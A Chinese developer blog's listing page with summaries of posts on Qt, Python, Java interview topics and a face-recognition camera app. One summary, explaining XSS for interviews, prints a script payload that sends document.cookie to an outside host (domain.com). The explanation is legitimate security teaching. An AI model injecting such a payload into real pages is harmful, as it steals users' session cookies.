- 博客(51)
- 资源 (9)
- 收藏
- 关注

原创 网络监控相机人脸识别介绍(二)
软件界面大体设计和布局新增功能项:人脸管理,人脸注册,相机设置配置,本地密码设置,数据操作等功能https://download.youkuaiyun.com/download/xb531501826/12109120如有下载速度慢或者不能下载的 加我 QQ 531501826 或 私信我...
2020-01-17 13:11:32
354

原创 网络监控相机人脸识别介绍(一)
项目介绍一,基本功能:1, 1~16画面自由切换2,陌生人抓怕,在库人员抓拍界面现时3,摄像头usb,各种网络监控相机自由配置4,各种继电器串口命令配置5 ,多人脸比对控制,单人脸比对控制,活体验证控制,串口开关控制,陌生人语音播报控制,陌生人抓拍显示控制,在库人员抓拍控制。二,系统要求:win7,8,10 64位操作系统软件性能:软件效果速度跟CPU处理及处理...
2020-01-13 10:49:44
1959
原创 python数据结构和算法(2)
1.11 命名切片1.12 序列中出现次数最多的元素1.13 通过某个关键字排序一个字典列表1.14 排序不支持原生比较的对象1.15 通过某个字段将记录分组1.16 过滤序列元素1.17 从字典中提取子集1.18 映射名称到序列元素1.19 转换并同时计算数据1.20 合并多个字典或映射
2022-08-25 09:49:12
313
原创 python数据结构和算法(1)
Python 提供了大量的内置数据结构,包括列表,集合以及字典。大多数情况下使用这些数据结构是很简单的。但是,我们也会经常碰到到诸如查询,排序和过滤等等这些普遍存在的问题。在迭代操作或者其他操作的时候,怎样只保留最后有限几个元素的历史记录?
2022-08-25 09:38:15
348
原创 QT如何操作EXCEL(13 )
qt如何读写excelpro 配置文件:QT += core axcontainerQT -= guiCONFIG += c++11TARGET = QtExcelCONFIG += consoleCONFIG -= app_bundleTEMPLATE = appSOURCES += main.cpp \ ExcelManger.cppHEADERS += \ ExcelManger.h////////////////////////////////////////main.cpp/
2022-07-07 15:11:49
644
原创 QT 对高分屏不同缩放比例的自适应处理方法(12)
//方法1:在main函数的最前面加上下面这句 5.6版本才开始有这个函数#if (QT_VERSION > QT_VERSION_CHECK(5,6,0))QGuiApplication::setAttribute(Qt::AA_EnableHighDpiScaling);//开启高缩放支持以后图片可能发虚还要开启下面这个属性QCoreApplication::setAttribute(Qt::AA_UseHighDpiPixmaps);#endif//方法2:在可执行文件同目录下新建文件 q
2022-07-07 14:48:05
2488
原创 java攻击原理面试
跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。例如有一个论坛网站,攻击者可以在上面发布以下内容:<script>location.href="//domain.com/?c=" + document.cookie</script>之后该内容可能会被渲染成以下形式:<p><script>location.href="//
2022-07-02 13:46:06
312
原创 集群面试详解
集群中的应用服务器(节点)通常被设计成无状态,用户可以请求任何一个节点。负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。负载均衡器可以用来实现高可用以及伸缩性:负载均衡器运行过程包含两个部分:1. 轮询(Round Robin)轮询算法把每个请求轮流发送到每个服务器上。下图中,一共有 6 个客户端产生了 6 个请求,这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1,(2, 4, 6) 的请求会被发送到服务器 2。该算法
2022-07-02 13:42:08
206
原创 分布式面试详解
在单机场景下,可以使用语言的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。阻塞锁通常使用互斥量来实现:1 和 0 可以用一个整型值表示,也可以用某个数据是否存在表示。获得锁时向表中插入一条记录,释放锁时删除这条记录。唯一索引可以保证该记录只被插入一次,那么就可以用这个记录是否存在来判断是否处于锁定状态。存在以下几个问题:使用 SETNX(set if not exist)指令插入一个键值对,如果 Key 已经存在,那么会返回 False,否则插入成功并
2022-06-30 11:26:03
424
原创 Java IO 面试详解
Java 的 I/O 大概可以分成以下几类:File 类可以用于表示文件和目录的信息,但是它不表示文件的内容。递归地列出一个目录下所有文件:public static void listAllFiles(File dir) { if (dir == null || !dir.exists()) { return; } if (dir.isFile()) { System.out.println(dir.getName()); retu
2022-06-29 16:31:13
350
原创 java虚拟机详解
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程,对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小,在 JDK 1.4 中默认为 256K,而在 JDK 1.5+ 默认为 1M:java -Xss2M HackTheJava该区域可能抛出以下异常:本地方法栈与 Java 虚
2022-06-29 16:25:59
533
原创 Java 并发详解<三>
多个线程不管以何种方式访问某个类,并且在主调代码中不需要进行同步,都能表现正确的行为。线程安全有以下几种实现方式:不可变(Immutable)的对象一定是线程安全的,不需要再采取任何的线程安全保障措施。只要一个不可变的对象被正确地构建出来,永远也不会看到它在多个线程之中处于不一致的状态。多线程环境下,应当尽量使对象成为不可变,来满足线程安全。不可变的类型:对于集合类型,可以使用 Collections.unmodifiableXXX() 方法来获取一个不可变的集合。public class Immutab
2022-06-28 13:33:18
181
原创 Java 并发详解<二>
当多个线程可以一起工作去解决某个问题时,如果某些部分必须在其它部分之前完成,那么就需要对线程进行协调。在线程中调用另一个线程的 join() 方法,会将当前线程挂起,而不是忙等待,直到目标线程结束。对于以下代码,虽然 b 线程先启动,但是因为在 b 线程中调用了 a 线程的 join() 方法,b 线程会等待 a 线程结束才继续执行,因此最后能够保证 a 线程的输出先于 b 线程的输出。public class JoinExample { private class A extends Thre
2022-06-28 13:30:09
302
原创 Java 并发详解<一>
有三种使用线程的方法:实现 Runnable 和 Callable 接口的类只能当做一个可以在线程中运行的任务,不是真正意义上的线程,因此最后还需要通过 Thread 来调用。可以理解为任务是通过线程驱动从而执行的。需要实现接口中的 run() 方法。public class MyRunnable implements Runnable { @Override public void run() { // ... }}使用 Runnable 实例再创建一个 T
2022-06-28 13:22:30
132
原创 java基础知识面试题目
八大基本数据类型基本数据类型转换关系:byte→short(char)→int→long→float→double所谓包装类,就是能够直接将简单类型的变量表示为一个类,在执行变量类型的相互转换时,我们会大量使用这些包装类。以下用途new Integer(123) 与 Integer.valueOf(123) 的区别在于:缓冲池包装类型内存使用 private static class IntegerCache,声明一个内部使用的缓存池在 jdk 1.8 所有的数值类缓冲池中,Integer 的缓冲池
2022-06-24 09:07:32
282
原创 Java分布式事务之基础篇
数据库事务(简称:事务),是数据库管理系统执行过程中的一个逻辑单位,由一个有限的数据库操作序列构成,这些操作要么全部执行,要么全部不执行,是一个不可分割的工作单位。数据库事务的几个典型特性:原子性(Atomicity )、一致性( Consistency )、隔离性( Isolation)和持久性(Durabilily),简称就是ACID。传统的单服务器,单关系型数据库下的事务,就是本地事务。本地事务由资源管理器管理,JDBC事务就是一个非常典型的本地事务。 innodb事务日志包括redo log和und
2022-06-22 16:51:13
402
原创 Java集合面试详解
可以从它们的底层数据结构、效率、开销进行阐述哈Collection.sort是对list进行排序,Arrays.sort是对数组进行排序。Collections.sort底层实现Collections.sort方法调用了list.sort方法 list.sort方法调用了Arrays.sort的方法 因此,Collections.sort方法底层就是调用的Array.sort方法Arrays.sort底层实现Arrays的sort方法,如果比较器为null,进入sort(a)方法。如下: 因此,Arr
2022-06-22 16:43:53
407
原创 程序员面试十大建议
专业知识是最为重要的一点,拥有了坚实的专业基础,你才能迈向成功的彼岸。因此,面试之前,一定一定要复习好专业知识。对自己学过的知识,要做一个概括,放在脑海中。茶余饭后,复习一下,做到随便看到一道基础题目,心中都能有个答案。比如,一道最基本基础题,ArrayList和LinkedList有什么区别?如果你是做Java后台开发的,应该都会了吧。你在简历上的信息,就是面试官了解你的窗口。你写上去的项目,自己一定一定要了解清楚来龙去脉。如果把别人很厉害的项目copy上去,面试官一问你三不知,那就露馅啦~同时,简历上需
2022-06-22 15:35:50
235
原创 Java学习书单
1、Java编程思想本书赢得了全球程序员的广泛赞誉,即使是最晦涩的概念,作者都会用小而直接的编程示例讲解明白。从Java的基础语法到最高级特性(深入的面向对象概念、多线程、自动项目构建、单元测试和调试等),本书都能逐步指导你轻松掌握。这是一本从工作原理和工程实践两个维度深入剖析JVM的著作,是计算机领域公认的经典。3、Head First 设计模式本书涵盖了23个设计模式,例子简单易懂,抛砖引玉,读起来很有意思的。真的是一本非常赞的设计模式入门书籍4、Effective java本书一共包含90个条目,每个
2022-06-21 13:22:58
608
原创 Java之Spring面试总结
1,什么是 Spring 框架?Spring 是一款开源的轻量级 Java 开发框架,旨在提高开发人员的开发效率以及系统的可维护性。我们一般说 Spring 框架指的都是 Spring Framework,它是很多模块的集合,使用这些模块可以很方便地协助我们进行开发。比如说 Spring 自带 IoC(Inverse of Control:控制反转) 和 AOP(Aspect-Oriented Programming:面向切面编程)、可以很方便地对数据库进行访问、可以很方便地集成第三方组件(电子邮件,任务,
2022-06-20 17:10:33
229
原创 Java开源项目合集<二>
1、advanced-java 该项目内容涵盖高并发、分布式、高可用、微服务、海量数据处理等领域知识。适合java中级和高级开发工程师阅读。2、JustAuth 它仅仅是一个第三方授权登录的工具类库,号称史上最全的第三方登陆类库,它可以让我们脱离繁琐的第三方登录 SDK,让登录变得So easy!3 spring-boot-demo 是一个用来深度学习并实战 的项目,目前总共包含 个集成demo,已经完成 个。该项目已成功集成 actuator()、admi
2022-06-16 10:57:38
351
原创 Java开源项目合集<一>
1、java高并发秒杀项目 这是一个教你如何使用 Java 语言来设计高并发大流量秒杀架构的项目,需要学习的小伙伴需要先了解、、、、 、, 一份涵盖大部分Java程序员所需要掌握的核心知识,面试技巧,知识拓展和学习等。3、Spring Boot 实践指南 这个当前版本中最全的spring boot 学习指南 ,里面涵盖了Spring Boot知识点整理、工程实践,并结合工作案例进行深入。4、EasyExcel EasyExcel是一个基于Java的简单、省内存的读写Excel的开源项目。在尽可能节约内存的情
2022-06-16 09:30:40
849
原创 QT有影响力的主页博客推荐和学习网站
一 博客推荐(1)QtWidget开源demo集合 (点击可以进入页面详情介绍) 该集合中主要记录了我们再实际应用开发中用到的各种控件,很多功能可以直接拿到项目开发中使用,用户只关系逻辑处理,不需要再关系界面展示问题了。其中部份QT控件可以根据自己的需求进行修改。(2)QtQuick/Qml开源demo集合 (点击可以进入页面详情介绍) 这是一个QtQuick/Qml组件库,集成了常用的QtQuick组件,并做了适当的属性封装、功能扩展,以方便开发Qml程序。实现原理可以参考《玩转Qml》系列教程。(3)
2022-06-15 13:14:38
536
原创 QVariant,QT信号槽,QTextEdit右键菜单,Qt中有个全局的焦点切换的实用技巧(8)
QVariant,QT信号槽,QTextEdit右键菜单,Qt中有个全局的焦点切换的实用技巧
2022-06-14 16:16:16
339
原创 Qt封装的QDateTime日期时间类(7)
Qt封装的QDateTime日期时间类非常强大,可以字符串和日期时间相互转换,也可以毫秒数和日期时间相互转换,还可以1970经过的秒数和日期时间相互转换等。
2022-06-14 16:08:32
1656
原创 QT利用QComboBox的addItem的第二个参数设置用户数据,可以实现很多效果,使用itemData取出来(2)
善于利用QComboBox的addItem的第二个参数设置用户数据,可以实现很多效果
2022-06-14 15:02:36
4716
3
原创 QT 扫雷程序介绍和开发(五)
扫雷程序主要应用了C++开发语言和QT框架,其中应用了大量的UI部件已经事件处理等,代码包中给了大量的注释,方便小伙伴阅读和理解项目思维导图 地图类主要用于创建生产地图mine.h mine.cpp主界面主要创建界面UI,控制窗口事件MainWindow.hmainwindow.cpp总结例如:以上就是今天要讲的内容,本文仅仅简单介绍了pandas的使用,而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。...............
2022-06-13 18:11:11
1738
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人